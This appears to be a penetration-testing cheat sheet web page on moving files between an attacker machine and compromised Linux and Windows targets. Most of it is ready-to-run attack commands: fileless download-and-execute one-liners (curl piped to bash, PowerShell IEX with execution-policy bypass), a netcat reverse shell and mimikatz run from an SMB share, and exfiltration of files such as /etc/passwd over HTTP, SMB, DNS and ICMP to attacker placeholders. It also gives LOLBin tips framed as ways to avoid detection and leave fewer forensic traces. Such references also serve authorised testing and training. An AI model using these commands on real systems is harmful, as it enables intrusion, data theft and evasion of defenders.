📤 File Transfer Flow 📥
Attacker
Host Server
Protocol
HTTP/SMB/NC
Target
Download/Exec
Hosting Servers (Attack Machine)
MOST USED
Python HTTP server (port 80 - needs root)
python3 -m http.server 80
Port 8000 (no root needed)
python3 -m http.server 8000
UPLOAD SERVER
Python upload server (receive files FROM target)
python3 -m uploadserver 8000
# Install: pip install uploadserver
SMB SERVER
Impacket SMB server (best for Windows)
impacket-smbserver share . -smb2support
SMB server with auth (Windows 10+)
impacket-smbserver share . -smb2support -user test -password test
FTP SERVER
Python FTP server
python3 -m pyftpdlib -p 21 -w
# Install: pip install pyftpdlib
# -w enables write access for uploads
PHP SERVER
PHP built-in server
php -S 0.0.0.0:8000
Pro Tip
Run servers in the directory containing your tools. For Windows targets, SMB is often more reliable than HTTP as it doesn't require PowerShell.
🐧
Linux Downloads
WGET
Basic download
wget http://<IP>:<PORT>/file
Download to specific location
wget http://<IP>:<PORT>/file -O /tmp/output
Download and execute (fileless)
wget http://<IP>/script.sh -O - | bash
CURL
Basic download
curl http://<IP>:<PORT>/file -o output
Download and execute (fileless) 🔥
curl http://<IP>/script.sh | bash
Silent download
curl -s http://<IP>/file -o output
SCP (SSH)
Download from remote
scp user@<IP>:/remote/file /local/path/
Download folder recursively
scp -r user@<IP>:/remote/folder /local/path/
Linux Uploads (Exfil from Target)
curl POST to uploadserver
curl -X POST http://<IP>:8000/upload -F 'files=@/path/to/file'
wget POST upload
wget --post-file=/path/to/file http://<IP>:8000/
SCP upload to attacker
scp /local/file user@<IP>:/remote/path/
Netcat file transfer (receiver first)
# On attacker (receive):
nc -nlvp 4444 > received_file
# On target (send):
nc <ATTACKER-IP> 4444 < /path/to/file
Linux Alternative Methods
NETCAT
Receiver (listens)
nc -nlvp 4444 > file
Sender (connects)
nc <IP> 4444 < file
/dev/tcp
Bash TCP download (no tools needed!)
exec 3<>/dev/tcp/<IP>/80
echo -e "GET /file HTTP/1.1\r\nHost: <IP>\r\n\r\n" >&3
cat <&3 > file
OPENSSL
OpenSSL encrypted server
# Generate cert first:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
# Start server:
openssl s_server -quiet -accept 443 -cert cert.pem -key key.pem < file
OpenSSL client download
openssl s_client -connect <IP>:443 -quiet > file
Note
/dev/tcp is a Bash-specific feature. It won't work in sh, dash, or other shells. Check with echo $0 first.
🪟
Windows Downloads
POWERSHELL
Most common
Invoke-WebRequest (iwr alias)
iwr -uri http://<IP>/file -OutFile file
Full command with path
Invoke-WebRequest -Uri http://<IP>/file -OutFile C:\Temp\file
WebClient method (older systems)
(New-Object Net.WebClient).DownloadFile('http://<IP>/file','C:\Temp\file')
Download and execute (fileless) 🔥
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/script.ps1')
Bypass execution policy
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<IP>/script.ps1')"
CMD.EXE
No PowerShell
Certutil download
certutil -urlcache -split -f http://<IP>/file C:\Temp\file.exe
Bitsadmin download
bitsadmin /transfer job http://<IP>/file C:\Temp\file
curl.exe (Windows 10+)
curl.exe http://<IP>/file -o C:\Temp\file
Pro Tip
If PowerShell is blocked, try certutil or bitsadmin. Windows 10+ also includes curl.exe and tar.exe natively.
Windows SMB Transfers
Copy file from SMB share
copy \\<IP>\share\file C:\Temp\file
Copy TO SMB share (exfiltrate)
copy C:\Users\victim\Desktop\secrets.txt \\<IP>\share\
Mount SMB share as drive letter
net use Z: \\<IP>\share
Mount with authentication (Win10+)
net use Z: \\<IP>\share /user:test test
Execute directly from share (no download!)
# Run tools directly from your share:
\\<IP>\share\nc.exe -e cmd.exe <IP> 4444
\\<IP>\share\winPEASx64.exe
\\<IP>\share\mimikatz.exe
PowerShell copy from SMB
Copy-Item \\<IP>\share\file -Destination C:\Temp\
Pro Tip
Running executables directly from SMB shares leaves fewer forensic artifacts since files never touch disk!
Windows FTP Transfers
Interactive FTP
ftp <IP>
# Then: open IP, user anonymous, pass anonymous, binary, get file
FTP script file (non-interactive)
# Create ftp_commands.txt:
open <IP>
anonymous
anonymous
binary
get file.exe
bye
# Execute:
ftp -s:ftp_commands.txt
One-liner FTP command sequence
echo open <IP> > ftp.txt & echo anonymous>> ftp.txt & echo anonymous>> ftp.txt & echo binary>> ftp.txt & echo get file>> ftp.txt & echo bye>> ftp.txt & ftp -s:ftp.txt
🔐
Encoding Methods (Terminal Copy/Paste)
When network transfers fail, encode files as text and copy through the terminal.
BASE64 - LINUX
Encode file (Linux)
base64 -w 0 file
# -w 0 outputs on single line
Decode file (Linux)
echo "BASE64_STRING" | base64 -d > file
BASE64 - WINDOWS
Encode file (PowerShell)
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\path\file"))
Decode file (PowerShell)
[IO.File]::WriteAllBytes("C:\path\file", [Convert]::FromBase64String("BASE64_STRING"))
Certutil decode (CMD)
# Save base64 to encoded.txt first:
certutil -decode encoded.txt decoded.exe
HEX ENCODING
Hex encode (Linux)
xxd -p file | tr -d '\n'
Hex decode (Linux)
echo "HEX_STRING" | xxd -r -p > file
Warning
Large files create huge base64 strings. This method works best for small files (< 100KB) or when no other option exists.
Exfiltration Techniques
DNS exfiltration (data in subdomain)
# On target - exfil data in DNS queries:
cat secret.txt | base64 | xargs -I {} nslookup {}.your-domain.com
# Monitor DNS queries on your server
ICMP exfiltration (data in ping)
# On attacker (listener):
tcpdump -i eth0 icmp -w icmp_data.pcap
# On target (Linux):
cat secret.txt | xxd -p | xargs -I {} ping -c 1 -p {} <ATTACKER>
HTTP POST exfil
# On attacker (nc listener):
nc -nlvp 80
# On target:
curl --data-binary @/etc/passwd http://<ATTACKER>/
Windows - Upload via PowerShell
(New-Object Net.WebClient).UploadFile('http://<IP>:8000/upload', 'C:\path\to\file')
LOLBins (Living Off The Land)
Legitimate Windows binaries that can download files - often bypass security controls.
MpCmdRun.exe (Defender download)
MpCmdRun.exe -DownloadFile -url http://<IP>/file -path C:\Temp\file
Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://<IP>/file /eventName:test
Esentutl.exe (copy via URL)
esentutl.exe /y \\<IP>\share\file /d C:\Temp\file /o
Expand.exe (from CAB)
expand \\<IP>\share\file.cab C:\Temp\file.exe
Findstr.exe (read remote file)
findstr /V "YOURSTRING" \\<IP>\share\file > C:\Temp\file
Pro Tip
Check LOLBAS Project for a complete list of Windows binaries that can be abused for file transfers, execution, and more.
Quick Decision Tree
Linux target?
→ wget or curl (most reliable)
Windows + PowerShell?
→ IWR/Invoke-WebRequest
Windows + no PS?
→ certutil or SMB
Need to avoid detection?
→ LOLBins or SMB direct exec
Network restricted?
→ Base64 encode + copy/paste